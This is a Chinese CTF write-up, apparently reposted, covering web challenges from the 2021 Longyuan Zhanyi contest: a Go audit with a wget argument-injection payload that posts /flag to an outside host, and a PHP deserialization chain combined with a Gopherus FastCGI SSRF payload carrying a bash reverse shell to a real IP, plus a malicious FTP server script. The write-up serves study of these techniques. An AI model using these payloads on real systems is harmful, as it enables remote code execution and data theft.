栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Go语言

11月陇原战疫2021网络安全大赛赛后部分web复现

Go语言 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

11月陇原战疫2021网络安全大赛赛后部分web复现

前言

打自闭了,一道做不起。

CheckIN 考点

go代码审计

解题过程

主要代码

package main

import (
    "fmt"
    "io"
    "time"
    "bytes"
    "regexp"
    "os/exec"
    "plugin"
    "gopkg.in/mgo.v2"
    "gopkg.in/mgo.v2/bson"
    "github.com/gin-contrib/sessions"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-contrib/multitemplate"
    "net/http"
)


type Url struct {
    Url string `json:"url" binding:"required"`
}

type User struct {
    Username string
    Password string
}

const MOGODB_URI = "127.0.0.1:27017"


// 中间间:验证登录
func MiddleWare() gin.HandlerFunc {
    return func(c *gin.Context) {
        session := sessions.Default(c)

        if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "")
            return
        }

        c.Next()
    }
}

// 登录
func loginController(c *gin.Context) {

    session := sessions.Default(c)
    if session.Get("username") != nil {
        c.Redirect(http.StatusFound, "/home")
        return
    }
    // 拿到前台传入的 用户名和密码
    username := c.PostForm("username")
    password := c.PostForm("password")
    // 判断用户名或密码是否为空
    if username == "" || password == "" {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "")
        return
    }
    // 连接数据库
    conn, err := mgo.Dial(MOGODB_URI)
    if err != nil {
        panic(err)
    }

    defer conn.Close()
    conn.SetMode(mgo.Monotonic, true)

    db_table := conn.DB("ctf").C("users")
    result := User{}
    err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)

    if result.Username == "" {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "")
        return
    }

    if username == result.Username || password == result.Password {
        session.Set("username", username)
        session.Set("password", password)
        session.Save()
        c.Redirect(http.StatusFound, "/home")
        return
    } else {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "")
        return
    }
}



func proxyController(c *gin.Context) {
    
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    // 匹配 
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
    
    client := &http.Client{Timeout: 2 * time.Second}
    // 可以进行http请求
    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}



func getController(c *gin.Context) {



    // 只执行命令 不返回结果
    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }
    
    c.String(http.StatusOK, "Nothing")
}




func createMyRender() multitemplate.Renderer {
    r := multitemplate.NewRenderer()
    r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")
    r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")
    return r
}


func main() {
    router := gin.Default()
    router.Static("/static", "./static")

    p, err := plugin.Open("sess_init.so")
    if err != nil {
        panic(err)
    }

    f, err := p.Lookup("Sessinit")
    if err != nil {
        panic(err)
    }
    key := f.(func() string)()

    storage := cookie.NewStore([]byte(key))
    router.Use(sessions.Sessions("mysession", storage))
    router.HTMLRender = createMyRender()
    router.MaxMultipartMemory = 8 << 20

    router.GET("/", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("username") != nil {
            c.Redirect(http.StatusFound, "/home")  
            return
        } else {
            c.Redirect(http.StatusFound, "/login")  
            return
        }
    })

    router.GET("/login", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("username") != nil {
            c.Redirect(http.StatusFound, "/home")  
            return
        }
        c.HTML(200, "login", gin.H{
            "title": "CheckIn",
        })
    })

    router.GET("/home", MiddleWare(), func(c *gin.Context) {
        c.HTML(200, "home", gin.H{
            "title": "CheckIn",
        })
    })

    router.POST("/proxy", MiddleWare(), proxyController)
    router.GET("/wget", getController)
    router.POST("/login", loginController)

    _ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
}

第一次遇到这种题,代码都看不懂,分析半天,看了wp后,发现只需要利用/wget。

payload

/wget?argv=1&argv=--post-file&argv=/flag&argv=http://xx.xx.xx.xx:4444

eaaasyphp 考点

php反序列化

FTP-SSRF 攻击 FPM/FastCGI

解题过程 打开
 
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

分析

分析确定了利用点Bunny::file_put_contents($this->filename, $this->data);,这里链子的构造也很简单,Bypass::__destruct->Welcome::__invoke->Bunny::__toString->file_put_contents($this->filename, $this->data);。但是在Bypass::__destruct里有一个条件Check::$str1,这个$str1默认为false,要想变为true,需要反序列化Esle类,但又没有其他属性可以控制,这道题我到这直接嗝屁,后来问了几位师傅,说是可以自己构造属性来调用Else,我纳闷还有这种操作,我以为反序列化只能控制已经定义的属性,这次真的又学到了。

直接贴payload


    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    // __wakeup(),执行unserialize()时,先会调用这个函数
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}



class Bunny {

    public function __toString()
    {
        echo "__toString";
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            // 利用点
            // Bypass::__destruct->Welcome::__invoke->Bunny::__toString
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    // __invoke(),调用函数的方式调用一个对象时的回应方法
    public function __invoke()
    {
        echo "__invoke";
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {
    public function __construct()
    {
        // 自己构造
        $this->esle = new Esle();
    }


    public function __destruct()
    {
        echo "__destruct";
        if (Check::$str1) {
            // $this->str4 Welcome
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

$b1 = new Bunny();
$b1->data = "123";
$b1->filename = "1.txt";

$we = new Welcome();
$we->username = $b1;

$by = new Bypass();
$by->str4 = $we;


echo serialize($by);
O:6:"Bypass":2:{s:4:"esle";O:4:"Esle":0:{}s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":2:{s:4:"data";s:3:"123";s:8:"filename";s:5:"1.txt";}}}

在本地搭建环境进行测试

可以正常写入

但是放在比赛环境里就不能写入,猜测应该是没有写入权限。

看了wp,利用了file_put_contents($this->filename, $this->data)这里,直接通过SSRF 攻击 FPM/FastCGI。

攻击步骤

首先通过gopherus脚本生成payload

f:ToolsWEBPython-ToolsGopherus-master
> python gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/     ___ /  _ \____ |  |  _/ __ _  __   |  /  ___/
    _  (  <_> )  |_> >   Y    ___/|  | /  |  /___ 
 ______  /____/|   __/|___|  /___  >__|  |____//____  >
        /       |__|        /     /                 /

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/index.php
Terminal command to run:  bash -c "bash -i >& /dev/tcp/vpsip/4444 0>&1"

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

用下面这段

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

接下来将这段payload带入序列化


    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    // __wakeup(),执行unserialize()时,先会调用这个函数
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}



class Bunny {

    public function __toString()
    {
        echo "__toString";
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            // 利用点
            // Bypass::__destruct->Welcome::__invoke->Bunny::__toString
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    // __invoke(),调用函数的方式调用一个对象时的回应方法
    public function __invoke()
    {
        echo "__invoke";
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {
    public function __construct()
    {
        // 自己构造
        $this->esle = new Esle();
    }


    public function __destruct()
    {
        echo "__destruct";
        if (Check::$str1) {
            // $this->str4 Welcome
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

$b1 = new Bunny();
$b1->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/121.4.65.44/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
$b1->filename = "ftp://aaa@121.4.65.44:23/123";

$we = new Welcome();
$we->username = $b1;

$by = new Bypass();
$by->str4 = $we;


echo urlencode(serialize($by));

得到

O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22esle%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A413%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F121.4.65.44%2F4444+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22ftp%3A%2F%2Faaa%40121.4.65.44%3A23%2F123%22%3B%7D%7D%7D

接下来在vps上运行恶意ftp服务器

脚本如下

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.n')
#Size /
conn.send(b'550 Could not get the file size.n')
#EPSV (1)
conn.send(b'150 okn')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)n') #STOR / (2)
conn.send(b'150 Permission denied.n')
#QUIT
conn.send(b'221 Goodbye.n')
conn.close()

再用nc监听4444端口

最后,只需要提交反序列化得到的payload

EasyJaba

目前未找到wp

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/990568.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号